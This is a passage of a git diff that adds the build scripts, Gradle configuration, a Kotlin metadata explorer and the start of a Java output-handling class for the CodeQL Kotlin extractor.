diff --git a/java/kotlin-explorer/src/main/kotlin/Explorer.kt b/java/kotlin-explorer/src/main/kotlin/Explorer.kt
new file mode 100644
index 00000000000..31c3eb18dcb
--- /dev/null
+++ b/java/kotlin-explorer/src/main/kotlin/Explorer.kt
@@ -0,0 +1,217 @@
+package com.github.codeql
+import kotlinx.metadata.internal.metadata.jvm.deserialization.JvmMetadataVersion
+import kotlinx.metadata.jvm.*
+import kotlinx.metadata.*
+
+fun main(args : Array<String>) {
+    /*
+    Values from `javap -v` on TestKt.class from:
+
+    class MyClass {}
+
+    class MyParamClass<T> {}
+
+    fun f(x: MyClass, y: MyClass?,
+          l1: MyParamClass<MyClass>,
+          l2: MyParamClass<MyClass?>,
+          l3: MyParamClass<MyClass>?,
+          l4: MyParamClass<MyClass?>?) {
+    }
+    */
+    val kind = 2
+    val metadataVersion = intArrayOf(1, 5, 1)
+    val data1 = arrayOf("\u0000\u0018\n\u0000\n\u0002\u0010\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0002\b\u0003\u001aX\u0010\u0000\u001a\u00020\u00012\u0006\u0010\u0002\u001a\u00020\u00032\b\u0010\u0004\u001a\u0004\u0018\u00010\u00032\u000c\u0010\u0005\u001a\b\u0012\u0004\u0012\u00020\u00030\u00062\u000e\u0010\u0007\u001a\n\u0012\u0006\u0012\u0004\u0018\u00010\u00030\u00062\u000e\u0010\b\u001a\n\u0012\u0004\u0012\u00020\u0003\u0018\u00010\u00062\u0010\u0010\t\u001a\u000c\u0012\u0006\u0012\u0004\u0018\u00010\u0003\u0018\u00010\u0006")
+    val data2 = arrayOf("f","","x","LMyClass;","y","l1","LMyParamClass;","l2","l3","l4")
+    val extraString = null
+    val packageName = null
+    val extraInt = 48
+    val kch = KotlinClassHeader(kind, metadataVersion, data1, data2, extraString, packageName, extraInt)
+
+    val md = KotlinClassMetadata.read(kch)
+    when (md) {
+        is KotlinClassMetadata.Class -> println("Metadata for Class not yet supported")
+        is KotlinClassMetadata.FileFacade -> {
+            println("Metadata for FileFacade:")
+            val kmp = md.toKmPackage()
+            kmp.accept(MyPackageVisitor(0))
+        }
+        is KotlinClassMetadata.SyntheticClass -> println("Metadata for SyntheticClass not yet supported")
+        is KotlinClassMetadata.MultiFileClassFacade -> println("Metadata for MultiFileClassFacade not yet supported")
+        is KotlinClassMetadata.MultiFileClassPart -> println("Metadata for MultiFileClassPart not yet supported")
+        is KotlinClassMetadata.Unknown -> println("Unknown kind")
+        else -> println("Unexpected kind")
+    }
+}
+
+fun pr(indent: Int, s: String) {
+    println("    ".repeat(indent) + s)
+}
+
+class MyPackageVisitor(val indent: Int): KmPackageVisitor() {
+    override fun visitFunction(flags: Flags, name: String): KmFunctionVisitor? {
+        pr(indent, "=> Function; flags:$flags, name:$name")
+        return MyFunctionVisitor(indent + 1)
+    }
+
+    override fun visitProperty(flags: Flags, name: String, getterFlags: Flags, setterFlags: Flags): KmPropertyVisitor? {
+        pr(indent, "=> Properties not yet handled")
+        return null
+    }
+
+    override fun visitTypeAlias(flags: Flags, name: String): KmTypeAliasVisitor? {
+        pr(indent, "=> Type aliases not yet handled")
+        return null
+    }
+
+    override fun visitExtensions(type: KmExtensionType): KmPackageExtensionVisitor? {
+        pr(indent, "=> Package extensions; type:$type")
+        when (type) {
+            JvmPackageExtensionVisitor.TYPE -> return MyJvmPackageExtensionVisitor(indent + 1)
+            else -> {
+                pr(indent, "- Not yet handled")
+                return null
+            }
+        }
+    }
+}
+
+class MyFunctionVisitor(val indent: Int): KmFunctionVisitor() {
+    override fun visitTypeParameter(flags: Flags, name: String, id: Int, variance: KmVariance): KmTypeParameterVisitor? {
+        pr(indent, "=> Type parameter; flags:$flags, name:$name, id:$id, variance:$variance")
+        pr(indent, "    -> Not yet handled")
+        return null
+    }
+    override fun visitReceiverParameterType(flags: Flags): KmTypeVisitor? {
+        pr(indent, "=> Receiver parameter type; flags:$flags")
+        pr(indent, "    -> Not yet handled")
+        return null
+    }
+
+    override fun visitValueParameter(flags: Flags, name: String): KmValueParameterVisitor? {
+        pr(indent, "=> Value parameter; flags:$flags, name:$name")
+        return MyValueParameterVisitor(indent + 1)
+    }
+
+    override fun visitReturnType(flags: Flags): KmTypeVisitor? {
+        pr(indent, "=> Return type; flags:$flags")
+        return MyTypeVisitor(indent + 1)
+    }
+
+    override fun visitVersionRequirement(): KmVersionRequirementVisitor? {
+        pr(indent, "=> VersionRequirement not yet handled")
+        return null
+    }
+
+    override fun visitContract(): KmContractVisitor? {
+        pr(indent, "=> Contract not yet handled")
+        return null
+    }
+
+    override fun visitExtensions(type: KmExtensionType): KmFunctionExtensionVisitor? {
+        pr(indent, "=> Function extensions; type:$type")
+        when (type) {
+            JvmFunctionExtensionVisitor.TYPE -> return MyJvmFunctionExtensionVisitor(indent + 1)
+            else -> {
+                pr(indent, "- Not yet handled")
+                return null
+            }
+        }
+    }
+}
+
+class MyValueParameterVisitor(val indent: Int): KmValueParameterVisitor() {
+    override fun visitType(flags: Flags): KmTypeVisitor? {
+        pr(indent, "=> Type; flags:$flags")
+        return MyTypeVisitor(indent + 1)
+    }
+
+    override fun visitVarargElementType(flags: Flags): KmTypeVisitor? {
+        pr(indent, "=> VarargElementType not yet handled")
+        return null
+    }
+
+    override fun visitExtensions(type: KmExtensionType): KmValueParameterExtensionVisitor? {
+        pr(indent, "=> Value parameter extensions; type:$type; not yet handled")
+        return null
+    }
+}
+
+class MyTypeVisitor(val indent: Int): KmTypeVisitor() {
+    override fun visitClass(name: ClassName) {
+        pr(indent, "=> Class; name:$name")
+    }
+
+    override fun visitTypeAlias(name: ClassName) {
+        pr(indent, "=> Type alias; name:$name")
+    }
+
+    override fun visitTypeParameter(id: Int) {
+        pr(indent, "=> Type parameter; id:$id")
+    }
+
+    override fun visitArgument(flags: Flags, variance: KmVariance): KmTypeVisitor? {
+        pr(indent, "=> Argument; flags:$flags, variance:$variance")
+        return MyTypeVisitor(indent + 1)
+    }
+
+    override fun visitStarProjection() {
+        pr(indent, "=> Star projection")
+    }
+
+    override fun visitAbbreviatedType(flags: Flags): KmTypeVisitor? {
+        pr(indent, "=> AbbreviatedType not yet handled")
+        return null
+    }
+
+    override fun visitOuterType(flags: Flags): KmTypeVisitor? {
+        pr(indent, "=> OuterType not yet handled")
+        return null
+    }
+
+    override fun visitFlexibleTypeUpperBound(flags: Flags, typeFlexibilityId: String?): KmTypeVisitor? {
+        pr(indent, "=> FlexibleTypeUpperBound not yet handled")
+        return null
+    }
+
+    override fun visitExtensions(type: KmExtensionType): KmTypeExtensionVisitor? {
+        pr(indent, "=> Type extensions; type:$type")
+        when (type) {
+            JvmTypeExtensionVisitor.TYPE -> return MyJvmTypeExtensionVisitor(indent + 1)
+            else -> {
+                pr(indent, "- Not yet handled")
+                return null
+            }
+        }
+    }
+}
+
+class MyJvmTypeExtensionVisitor(val indent: Int): JvmTypeExtensionVisitor() {
+    override fun visit(isRaw: Boolean) {
+        pr(indent, "=> isRaw:$isRaw")
+    }
+
+    override fun visitAnnotation(annotation: KmAnnotation) {
+        pr(indent, "=> Annotation; annotation:$annotation")
+    }
+}
+
+class MyJvmPackageExtensionVisitor(val indent: Int): JvmPackageExtensionVisitor() {
+    override fun visitLocalDelegatedProperty(flags: Flags, name: String, getterFlags: Flags, setterFlags: Flags): KmPropertyVisitor? {
+        pr(indent, "=> Local delegate not yet handled")
+        return null
+    }
+
+    override fun visitModuleName(name: String) {
+        pr(indent, "=> Module name; name:$name")
+    }
+}
+
+class MyJvmFunctionExtensionVisitor(val indent: Int): JvmFunctionExtensionVisitor() {
+    override fun visit(signature: JvmMethodSignature?) {
+        pr(indent, "=> signature:$signature")
+    }
+
+    override fun visitLambdaClassOriginName(internalName: String) {
+        pr(indent, "=> LambdaClassOriginName; internalName:$internalName")
+    }
+}
diff --git a/java/kotlin-extractor/.gitignore b/java/kotlin-extractor/.gitignore
new file mode 100644
index 00000000000..da88a859698
--- /dev/null
+++ b/java/kotlin-extractor/.gitignore
@@ -0,0 +1,12 @@
+.classpath
+.gradle
+.idea
+.project
+.settings
+bin/
+build/
+gradle/
+gradlew
+gradlew.bat
+
+src/main/kotlin/KotlinExtractorDbScheme.kt
\ No newline at end of file
diff --git a/java/kotlin-extractor/build.gradle b/java/kotlin-extractor/build.gradle
new file mode 100644
index 00000000000..96fb8453b94
--- /dev/null
+++ b/java/kotlin-extractor/build.gradle
@@ -0,0 +1,53 @@
+plugins {
+    id 'org.jetbrains.kotlin.jvm' version "${kotlinVersion}"
+    id 'org.jetbrains.dokka' version '1.4.32'
+}
+
+group 'com.github.codeql'
+version '0.0.1'
+
+dependencies {
+    implementation "org.jetbrains.kotlin:kotlin-stdlib"
+    compileOnly("org.jetbrains.kotlin:kotlin-compiler")
+}
+
+repositories {
+    mavenCentral()
+}
+
+tasks.withType(org.jetbrains.kotlin.gradle.tasks.KotlinCompile).configureEach {
+    kotlinOptions {
+        jvmTarget = "1.8"
+        freeCompilerArgs += "-Xopt-in=kotlin.RequiresOptIn"
+        // enable the below for building with kotlinVersion=1.4.32:
+        // languageVersion = "1.5"
+    }
+}
+
+sourceSets {
+    main {
+        kotlin {
+            // change the excludes for building with other versions:
+            excludes = [
+                    "utils/versions/v_1_4_32/*.kt",
+                    "utils/versions/v_1_5_31/*.kt",
+                    "utils/versions/v_1_6_10/*.kt"]
+        }
+    }
+}
+
+jar {
+    archiveName = "${OUTPUT_JAR_NAME}"
+}
+
+task getHomeDir {
+    doLast {
+        println gradle.gradleHomeDir
+    }
+}
+
+java {
+  toolchain {
+    languageVersion.set(JavaLanguageVersion.of(8))
+  }
+}
diff --git a/java/kotlin-extractor/build.py b/java/kotlin-extractor/build.py
new file mode 100755
index 00000000000..1844dac488f
--- /dev/null
+++ b/java/kotlin-extractor/build.py
@@ -0,0 +1,213 @@
+#!/usr/bin/env python3
+
+import argparse
+import kotlin_plugin_versions
+import glob
+import platform
+import re
+import subprocess
+import shutil
+import os
+import os.path
+import sys
+import shlex
+
+
+def parse_args():
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--dependencies', default='../../../resources/kotlin-dependencies',
+                        help='Folder containing the dependencies')
+    parser.add_argument('--many', action='store_true',
+                        help='Build for all versions/kinds')
+    parser.add_argument('--single', action='store_false',
+                        dest='many', help='Build for a single version/kind')
+    return parser.parse_args()
+
+
+args = parse_args()
+
+
+def is_windows():
+    '''Whether we appear to be running on Windows'''
+    if platform.system() == 'Windows':
+        return True
+    if platform.system().startswith('CYGWIN'):
+        return True
+    return False
+
+# kotlinc might be kotlinc.bat or kotlinc.cmd on Windows, so we use `which` to find out what it is
+kotlinc = shutil.which('kotlinc')
+if kotlinc is None:
+    print("Cannot build the Kotlin extractor: no kotlinc found on your PATH", file = sys.stderr)
+    sys.exit(1)
+
+javac = 'javac'
+kotlin_dependency_folder = args.dependencies
+
+
+def quote_for_batch(arg):
+    if ';' in arg or '=' in arg:
+        if '"' in arg:
+            raise Exception('Need to quote something containing a quote')
+        return '"' + arg + '"'
+    else:
+        return arg
+
+
+def run_process(cmd, capture_output=False):
+    print("Running command: " + shlex.join(cmd))
+    if is_windows():
+        cmd = ' '.join(map(quote_for_batch, cmd))
+        print("Converted to Windows command: " + cmd)
+    try:
+        if capture_output:
+            return subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        else:
+            return subprocess.run(cmd, check=True)
+    except subprocess.CalledProcessError as e:
+        print("In: " + os.getcwd(), file=sys.stderr)
+        shell_cmd = cmd if is_windows() else shlex.join(cmd)
+        print("Command failed: " + shell_cmd, file=sys.stderr)
+        if capture_output:
+            print("stdout output:\n" + e.stdout.decode(encoding='UTF-8',
+                  errors='replace'), file=sys.stderr)
+            print("stderr output:\n" + e.stderr.decode(encoding='UTF-8',
+                  errors='replace'), file=sys.stderr)
+        raise e
+
+
+def compile_to_dir(srcs, classpath, java_classpath, output):
+    # Use kotlinc to compile .kt files:
+    run_process([kotlinc,
+                 # kotlinc can default to 256M, which isn't enough when we are extracting the build
+                 '-J-Xmx2G',
+                 '-Xopt-in=kotlin.RequiresOptIn',
+                 '-d', output,
+                 '-module-name', 'codeql-kotlin-extractor',
+                 '-no-reflect', '-no-stdlib',
+                 '-jvm-target', '1.8',
+                 '-classpath', classpath] + srcs)
+
+    # Use javac to compile .java files, referencing the Kotlin class files:
+    run_process([javac,
+                 '-d', output,
+                 '-source', '8', '-target', '8',
+                 '-classpath', os.path.pathsep.join([output, classpath, java_classpath])] + [s for s in srcs if s.endswith(".java")])
+
+
+def compile_to_jar(srcs, classpath, java_classpath, output):
+    builddir = 'build/classes'
+
+    if os.path.exists(builddir):
+        shutil.rmtree(builddir)
+    os.makedirs(builddir)
+
+    compile_to_dir(srcs, classpath, java_classpath, builddir)
+
+    run_process(['jar', 'cf', output,
+                 '-C', builddir, '.',
+                 '-C', 'src/main/resources', 'META-INF'])
+    shutil.rmtree(builddir)
+
+
+def find_sources(path):
+    return glob.glob(path + '/**/*.kt', recursive=True) + glob.glob(path + '/**/*.java', recursive=True)
+
+
+def get_kotlin_lib_folder():
+    x = run_process([kotlinc, '-version', '-verbose'], capture_output=True)
+    output = x.stderr.decode(encoding='UTF-8', errors='strict')
+    m = re.match(
+        r'.*\nlogging: using Kotlin home directory ([^\n]+)\n.*', output)
+    if m is None:
+        raise Exception('Cannot determine kotlinc home directory')
+    kotlin_home = m.group(1)
+    print("Kotlin home directory: " + kotlin_home)
+    return kotlin_home + '/lib'
+
+
+def get_gradle_lib_folder():
+    x = run_process(['gradle', 'getHomeDir'], capture_output=True)
+    output = x.stdout.decode(encoding='UTF-8', errors='strict')
+    m = re.search(r'(?m)^> Task :getHomeDir\n([^\n]+)$', output)
+    if m is None:
+        print("gradle getHomeDir output:\n" + output, file=sys.stderr)
+        raise Exception('Cannot determine gradle home directory')
+    gradle_home = m.group(1)
+    print("Gradle home directory: " + gradle_home)
+    return gradle_home + '/lib'
+
+
+def find_jar(path, pattern):
+    result = glob.glob(path + '/' + pattern + '*.jar')
+    if len(result) == 0:
+        raise Exception('Cannot find jar file %s under path %s' %
+                        (pattern, path))
+    return result
+
+
+def patterns_to_classpath(path, patterns):
+    result = []
+    for pattern in patterns:
+        result += find_jar(path, pattern)
+    return os.path.pathsep.join(result)
+
+
+def transform_to_embeddable(srcs):
+    # replace imports in files:
+    for src in srcs:
+        with open(src, 'r') as f:
+            content = f.read()
+        content = content.replace('import com.intellij',
+                                  'import org.jetbrains.kotlin.com.intellij')
+        with open(src, 'w') as f:
+            f.write(content)
+
+
+def compile(jars, java_jars, dependency_folder, transform_to_embeddable, output, tmp_dir, version):
+    classpath = patterns_to_classpath(dependency_folder, jars)
+    java_classpath = patterns_to_classpath(dependency_folder, java_jars)
+
+    if os.path.exists(tmp_dir):
+        shutil.rmtree(tmp_dir)
+    shutil.copytree('src', tmp_dir)
+
+    for v in kotlin_plugin_versions.many_versions:
+        if v != version:
+            shutil.rmtree(
+                tmp_dir + '/main/kotlin/utils/versions/v_' + v.replace('.', '_'))
+
+    srcs = find_sources(tmp_dir)
+
+    transform_to_embeddable(srcs)
+
+    compile_to_jar(srcs, classpath, java_classpath, output)
+
+    shutil.rmtree(tmp_dir)
+
+
+def compile_embeddable(version):
+    compile(['kotlin-stdlib-' + version, 'kotlin-compiler-embeddable-' + version],
+            ['kotlin-stdlib-' + version],
+            kotlin_dependency_folder,
+            transform_to_embeddable,
+            'codeql-extractor-kotlin-embeddable-%s.jar' % (version),
+            'build/temp_src',
+            version)
+
+
+def compile_standalone(version):
+    compile(['kotlin-stdlib-' + version, 'kotlin-compiler-' + version],
+            ['kotlin-stdlib-' + version],
+            kotlin_dependency_folder,
+            lambda srcs: None,
+            'codeql-extractor-kotlin-standalone-%s.jar' % (version),
+            'build/temp_src',
+            version)
+
+if args.many:
+    for version in kotlin_plugin_versions.many_versions:
+        compile_standalone(version)
+        compile_embeddable(version)
+else:
+    compile_standalone(kotlin_plugin_versions.get_single_version())
diff --git a/java/kotlin-extractor/generate_dbscheme.py b/java/kotlin-extractor/generate_dbscheme.py
new file mode 100755
index 00000000000..9e517505469
--- /dev/null
+++ b/java/kotlin-extractor/generate_dbscheme.py
@@ -0,0 +1,183 @@
+#!/usr/bin/env python3
+
+import re
+import sys
+
+enums = {}
+unions = {}
+tables = {}
+
+dbscheme = sys.argv[1] if len(sys.argv) >= 2 else '../ql/lib/config/semmlecode.dbscheme'
+
+def parse_dbscheme(filename):
+    with open(filename, 'r') as f:
+        dbscheme = f.read()
+
+    # Remove comments
+    dbscheme = re.sub(r'/\*.*?\*/', '', dbscheme, flags=re.DOTALL)
+    dbscheme = re.sub(r'//[^\r\n]*', '', dbscheme)
+
+    # kind enums
+    for name, kind, body in re.findall(r'case\s+@([^.\s]*)\.([^.\s]*)\s+of\b(.*?);',
+                                       dbscheme,
+                                       flags=re.DOTALL):
+        mapping = []
+        for num, typ in re.findall(r'(\d+)\s*=\s*@(\S+)', body):
+            mapping.append((int(num), typ))
+        enums[name] = (kind, mapping)
+
+    # unions
+    for name, rhs in re.findall(r'@(\w+)\s*=\s*(@\w+(?:\s*\|\s*@\w+)*)',
+                                dbscheme,
+                                flags=re.DOTALL):
+        typs = re.findall(r'@(\w+)', rhs)
+        unions[name] = typs
+
+    # tables
+    for relname, body in re.findall('\n([\w_]+)(\([^)]*\))',
+                                    dbscheme,
+                                    flags=re.DOTALL):
+        columns = list(re.findall('(\S+)\s*:\s*([^\s,]+)(?:\s+(ref)|)', body))
+        tables[relname] = columns
+
+parse_dbscheme(dbscheme)
+
+type_aliases = {}
+
+for alias, typs in unions.items():
+    if len(typs) == 1:
+        real = typs[0]
+        if real in type_aliases:
+            real = type_aliases[real]
+        type_aliases[alias] = real
+
+def unalias(t):
+    return type_aliases.get(t, t)
+
+type_leaf = set()
+type_union = {}
+
+for name, (kind, mapping) in enums.items():
+    s = set()
+    for num, typ in mapping:
+        s.add(typ)
+        type_leaf.add(typ)
+    type_union[name] = s
+
+for name, typs in unions.items():
+    if name not in type_aliases:
+        type_union[name] = set(map(unalias, typs))
+
+for relname, columns in tables.items():
+    for _, db_type, ref in columns:
+        if db_type[0] == '@' and ref == '':
+            db_type_name = db_type[1:]
+            if db_type_name not in enums:
+                type_leaf.add(db_type_name)
+
+type_union_of_leaves = {}
+
+def to_leaves(t):
+    if t not in type_union_of_leaves:
+        xs = type_union[t]
+        leaves = set()
+        for x in xs:
+            if x in type_leaf:
+                leaves.add(x)
+            else:
+                to_leaves(x)
+                leaves.update(type_union_of_leaves[x])
+        type_union_of_leaves[t] = leaves
+
+for t in type_union:
+    to_leaves(t)
+
+supertypes = {}
+for t in type_leaf:
+    supers = set()
+    for sup, s in type_union_of_leaves.items():
+        if t in s:
+            supers.add(sup)
+    supertypes[t] = supers
+for t, leaves in type_union_of_leaves.items():
+    supers = set()
+    for sup, s in type_union_of_leaves.items():
+        if t != sup and leaves.issubset(s):
+            supers.add(sup)
+    supertypes[t] = supers
+
+def upperFirst(string):
+    return string[0].upper() + string[1:]
+
+def genTable(kt, relname, columns, enum = None, kind = None, num = None, typ = None):
+    kt.write('fun TrapWriter.write' + upperFirst(relname))
+    if kind is not None:
+        kt.write('_' + typ)
+    kt.write('(')
+    for colname, db_type, _ in columns:
+        if colname != kind:
+            kt.write(colname + ': ')
+            if db_type == 'int':
+                kt.write('Int')
+            elif db_type == 'float':
+                kt.write('Double')
+            elif db_type == 'string':
+                kt.write('String')
+            elif db_type == 'date':
+                kt.write('Date')
+            elif db_type == 'boolean':
+                kt.write('Boolean')
+            elif db_type[0] == '@':
+                label = db_type[1:]
+                if label == enum:
+                    label = typ
+                kt.write('Label<out Db' + upperFirst(label) + '>')
+            else:
+                raise Exception('Bad db_type: ' + db_type)
+            kt.write(', ')
+    kt.write(') {\n')
+    kt.write('    this.writeTrap("' + relname + '(')
+    comma = ''
+    for colname, db_type, _ in columns:
+        kt.write(comma)
+        if colname == kind:
+            kt.write(str(num))
+        elif db_type == 'string':
+            kt.write('\\"${this.escapeTrapString(this.truncateString(' + colname + '))}\\"')
+        elif db_type == 'date':
+            kt.write('D\\"${' + colname + '}\\"')
+        else:
+            kt.write('$' + colname)
+        comma = ', '
+    kt.write(')\\n")\n')
+    kt.write('}\n')
+
+with open('src/main/kotlin/KotlinExtractorDbScheme.kt', 'w') as kt:
+    kt.write('/* Generated by ' + sys.argv[0] + ': Do not edit manually. */\n')
+    kt.write('package com.github.codeql\n')
+    kt.write('import java.util.Date\n')
+
+    for relname, columns in tables.items():
+        enum = None
+        for _, db_type, ref in columns:
+            if db_type[0] == '@' and ref == '':
+                db_type_name = db_type[1:]
+                if db_type_name in enums:
+                    enum = db_type_name
+        if enum is None:
+            genTable(kt, relname, columns)
+        else:
+            (kind, mapping) = enums[enum]
+            for num, typ in mapping:
+                genTable(kt, relname, columns, enum, kind, num, typ)
+
+    for typ in sorted(supertypes):
+        kt.write('sealed interface Db' + upperFirst(typ))
+        # Sorting makes the output deterministic.
+        names = sorted(supertypes[typ])
+        if names:
+            kt.write(': ')
+            kt.write(', '.join(map(lambda name: 'Db' + upperFirst(name), names)))
+        kt.write('\n')
+    for alias in sorted(type_aliases):
+        kt.write('typealias Db' + upperFirst(alias) + ' = Db' + upperFirst(type_aliases[alias]) + '\n')
diff --git a/java/kotlin-extractor/gradle.properties b/java/kotlin-extractor/gradle.properties
new file mode 100644
index 00000000000..69e0a36ba4c
--- /dev/null
+++ b/java/kotlin-extractor/gradle.properties
@@ -0,0 +1,8 @@
+kotlin.code.style=official
+kotlinVersion=1.6.20
+
+GROUP=com.github.codeql
+VERSION_NAME=0.0.1
+POM_DESCRIPTION=CodeQL Kotlin extractor
+OUTPUT_JAR_NAME=codeql-extractor-kotlin.jar
+
diff --git a/java/kotlin-extractor/kotlin_plugin_versions.py b/java/kotlin-extractor/kotlin_plugin_versions.py
new file mode 100755
index 00000000000..5c947c56c2e
--- /dev/null
+++ b/java/kotlin-extractor/kotlin_plugin_versions.py
@@ -0,0 +1,69 @@
+import platform
+import re
+import shutil
+import subprocess
+import sys
+
+def is_windows():
+    '''Whether we appear to be running on Windows'''
+    if platform.system() == 'Windows':
+        return True
+    if platform.system().startswith('CYGWIN'):
+        return True
+    return False
+
+def version_tuple_to_string(version):
+    return f'{version[0]}.{version[1]}.{version[2]}'
+
+def version_string_to_tuple(version):
+    m = re.match(r'([0-9]+)\.([0-9]+)\.([0-9]+)', version)
+    return tuple([int(m.group(i)) for i in range(1, 4)])
+
+many_versions = [ '1.4.32', '1.5.31', '1.6.10', '1.6.20' ]
+
+many_versions_tuples = [version_string_to_tuple(v) for v in many_versions]
+
+class KotlincNotFoundException(Exception):
+    pass
+
+def get_single_version(fakeVersionOutput = None):
+    # kotlinc might be kotlinc.bat or kotlinc.cmd on Windows, so we use `which` to find out what it is
+    kotlinc = shutil.which('kotlinc')
+    if kotlinc is None:
+        raise KotlincNotFoundException()
+    versionOutput = subprocess.run([kotlinc, '-version'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True).stderr if fakeVersionOutput is None else fakeVersionOutput
+    m = re.match(r'.* kotlinc-jvm ([0-9]+\.[0-9]+\.[0-9]+) .*', versionOutput)
+    if m is None:
+        raise Exception('Cannot detect version of kotlinc (got ' + str(versionOutput) + ')')
+    current_version = version_string_to_tuple(m.group(1))
+    matching_minor_versions = [ version for version in many_versions_tuples if version[0:2] == current_version[0:2] ]
+    if len(matching_minor_versions) == 0:
+        raise Exception(f'Cannot find a matching minor version for kotlinc version {current_version} (got {versionOutput}; know about {str(many_versions)})')
+
+    matching_minor_versions.sort()
+
+    for version in matching_minor_versions:
+        if version >= current_version:
+            return version_tuple_to_string(version)
+
+    return version_tuple_to_string(matching_minor_versions[-1])
+
+    raise Exception(f'No suitable kotlinc version found for {current_version} (got {versionOutput}; know about {str(many_versions)})')
+
+def get_latest_url():
+    version = many_versions[-1]
+    url = 'https://github.com/JetBrains/kotlin/releases/download/v' + version + '/kotlin-compiler-' + version + '.zip'
+    return url
+
+if __name__ == "__main__":
+    args = sys.argv
+    if len(args) < 2:
+        raise Exception("Bad arguments")
+    command = args[1]
+    if command == 'latest-url':
+        print(get_latest_url())
+    elif command == 'single-version':
+        print(get_single_version(*args[2:]))
+    else:
+        raise Exception("Unknown command: " + command)
+
diff --git a/java/kotlin-extractor/settings.gradle b/java/kotlin-extractor/settings.gradle
new file mode 100644
index 00000000000..fa1b7937da6
--- /dev/null
+++ b/java/kotlin-extractor/settings.gradle
@@ -0,0 +1,8 @@
+pluginManagement {
+    repositories {
+        mavenCentral()
+        gradlePluginPortal()
+    }
+}
+
+rootProject.name = 'codeql-kotlin-extractor'
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/extractor/java/OdasaOutput.java b/java/kotlin-extractor/src/main/java/com/semmle/extractor/java/OdasaOutput.java
new file mode 100644
index 00000000000..01861bf5ca6
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/extractor/java/OdasaOutput.java
@@ -0,0 +1,628 @@
+package com.semmle.extractor.java;
+
+import java.lang.reflect.*;
+import java.io.File;
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.Objects;
+import java.util.regex.Pattern;
+
+import com.github.codeql.Logger;
+import static com.github.codeql.ClassNamesKt.getIrDeclBinaryName;
+import static com.github.codeql.ClassNamesKt.getIrClassVirtualFile;
+
+import org.jetbrains.kotlin.ir.declarations.IrClass;
+
+import com.intellij.openapi.vfs.VirtualFile;
+
+import org.jetbrains.kotlin.ir.declarations.IrDeclaration;
+import org.jetbrains.kotlin.ir.declarations.IrDeclarationWithName;
+import org.jetbrains.org.objectweb.asm.ClassVisitor;
+import org.jetbrains.org.objectweb.asm.ClassReader;
+import org.jetbrains.org.objectweb.asm.Opcodes;
+
+import com.semmle.util.concurrent.LockDirectory;
+import com.semmle.util.concurrent.LockDirectory.LockingMode;
+import com.semmle.util.exception.CatastrophicError;
+import com.semmle.util.exception.NestedError;
+import com.semmle.util.exception.ResourceError;
+import com.semmle.util.extraction.PopulationSpecFile;
+import com.semmle.util.extraction.SpecFileEntry;
+import com.semmle.util.files.FileUtil;
+import com.semmle.util.io.WholeIO;
+import com.semmle.util.process.Env;
+import com.semmle.util.process.Env.Var;
+import com.semmle.util.trap.dependencies.TrapDependencies;
+import com.semmle.util.trap.dependencies.TrapSet;
+import com.semmle.util.trap.pathtransformers.PathTransformer;
+
+public class OdasaOutput {
+
+	// either these are set ...
+	private final File trapFolder;
+	private final File sourceArchiveFolder;
+
+	// ... or this one is set
+	private final PopulationSpecFile specFile;
+
+	private File currentSourceFile;
+	private TrapSet trapsCreated;
+	private TrapDependencies trapDependenciesForSource;
+
+	private SpecFileEntry currentSpecFileEntry;
+
+	// should origin tracking be used?
+	private final boolean trackClassOrigins;
+
+	private final Logger log;
+
+	/** DEBUG only: just use the given file as the root for TRAP, source archive etc */
+	OdasaOutput(File outputRoot, Logger log) {
+		this.trapFolder = new File(outputRoot, "trap");
+		this.sourceArchiveFolder = new File(outputRoot, "src_archive");
+		this.specFile = null;
+		this.trackClassOrigins = false;
+		this.log = log;
+	}
+
+	public OdasaOutput(boolean trackClassOrigins, Logger log) {
+		String trapFolderVar = Env.systemEnv().getFirstNonEmpty("CODEQL_EXTRACTOR_JAVA_TRAP_DIR", Var.TRAP_FOLDER.name());
+		if (trapFolderVar != null) {
+			String sourceArchiveVar = Env.systemEnv().getFirstNonEmpty("CODEQL_EXTRACTOR_JAVA_SOURCE_ARCHIVE_DIR", Var.SOURCE_ARCHIVE.name());
+			if (sourceArchiveVar == null)
+				throw new ResourceError(Var.TRAP_FOLDER + " was set to '" + trapFolderVar + "', but "
+						+ Var.SOURCE_ARCHIVE + " was not set");
+			this.trapFolder = new File(trapFolderVar);
+			this.sourceArchiveFolder = new File(sourceArchiveVar);
+			this.specFile = null;
+		} else {
+			this.trapFolder = null;
+			this.sourceArchiveFolder = null;
+			String specFileVar = Env.systemEnv().get(Var.ODASA_JAVA_LAYOUT);
+			if (specFileVar == null)
+				throw new ResourceError("Neither " + Var.TRAP_FOLDER + " nor " + Var.ODASA_JAVA_LAYOUT + " was set");
+			this.specFile = new PopulationSpecFile(new File(specFileVar));
+		}
+		this.trackClassOrigins = trackClassOrigins;
+		this.log = log;
+	}
+
+	public File getTrapFolder() {
+		return trapFolder;
+	}
+
+	public boolean getTrackClassOrigins() {
+		return trackClassOrigins;
+	}
+
+	/**
+	 * Set the source file that is currently being processed. This may affect
+	 * things like trap and source archive directories, and persists as a
+	 * setting until this method is called again.
+	 * @param f the current source file
+	 */
+	public void setCurrentSourceFile(File f) {
+		currentSourceFile = f;
+		currentSpecFileEntry = entryFor();
+		trapsCreated = new TrapSet();
+		trapsCreated.addSource(PathTransformer.std().fileAsDatabaseString(f));
+		trapDependenciesForSource = null;
+	}
+
+	/** The output paths for that file, or null if it shouldn't be included */
+	private SpecFileEntry entryFor() {
+		if (specFile != null)
+			return specFile.getEntryFor(currentSourceFile);
+		else
+			return new SpecFileEntry(trapFolder, sourceArchiveFolder,
+					Arrays.asList(PathTransformer.std().fileAsDatabaseString(currentSourceFile)));
+	}
+
+	/*
+	 * Trap sets and dependencies.
+	 */
+
+	public void writeTrapSet() {
+		trapsCreated.save(trapSetFor(currentSourceFile).toPath());
+	}
+
+	private File trapSetFor(File file) {
+		return FileUtil.appendAbsolutePath(
+			currentSpecFileEntry.getTrapFolder(), PathTransformer.std().fileAsDatabaseString(file) + ".set");
+	}
+
+	public void addDependency(IrDeclaration sym, String signature) {
+		String path = trapFilePathForDecl(sym, signature);
